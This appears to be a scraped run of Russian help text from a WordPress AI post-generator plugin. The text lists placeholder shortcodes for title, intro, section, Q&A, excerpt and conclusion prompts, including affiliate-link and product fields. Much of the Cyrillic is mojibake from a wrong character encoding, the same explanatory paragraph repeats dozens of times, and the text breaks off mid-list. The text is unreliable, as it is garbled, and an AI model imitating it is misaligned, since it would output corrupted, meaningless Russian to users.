%%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¸ Ñоздании заголовка поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¸ Ñоздании заголовка поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый в Заголовке ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — обновление : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый в Заголовке ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — обновление : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента. Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² заголовке ПоÑÑ‚Ñ‹. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² заголовке ПоÑÑ‚Ñ‹. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%тема%%, %%Ñзык%%, %%Ñтиль_напиÑаниÑ%%, %%тон_напиÑаниÑ%%, %%название%%, %% random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды, Ñозданные по правилам других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента. Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑппользуемый Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð·Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — чтобы отключить завершение Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐ¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти поÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — чтобы отключить заÑтавку Ñтатьи, оÑтавьте Ñтот Промпт пуÑтым. — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ чаÑти ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды:%%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - чтобы отключить заключительную чаÑÑ‚ÑŒ поÑта, оÑтавьте Ñтот промпт пуÑтым - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделе «За и против» Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² вопроÑах и ответах (Q&A) ПоÑта. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновить : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI запроÑÑ‹, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²Ð¾Ð¿Ñ€Ð¾Ñов и ответов по Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² ПоÑта. Он также будет уÑтановлен в качеÑтве заголовка в ПоÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð¾Ð² Статьи. Они также будут уÑтановлены в качеÑтве заголовков в Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð¾Ñ‚Ñ€Ñ‹Ð²ÐºÐ° Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð¾Ñ‚Ñ€Ñ‹Ð²ÐºÐ° Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользовать Ð´Ð»Ñ ÐнонÑа Статьи. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð´ÐµÑ€Ð¶ÐºÐ¸ Ñтатьи. Можно иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции "Создатель ПользовательÑких Шорткодов" из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²ÑÑ‚ÑƒÐ¿Ð»ÐµÐ½Ð¸Ñ Ðº Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð²ÑÑ‚ÑƒÐ¿Ð»ÐµÐ½Ð¸Ñ Ðº Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Ð´Ð»Ñ Ð’Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¡Ñ‚Ð°Ñ‚ÑŒÐ¸. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции «Создание пользовательÑких шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт Вводной ЧаÑти Статьи. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Промпт иÑпользуемый Ð´Ð»Ñ Ð¾Ñновных разделов Ñтатьи. Они также будут уÑтановлены в качеÑтве заголовков в Ñтатье. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, 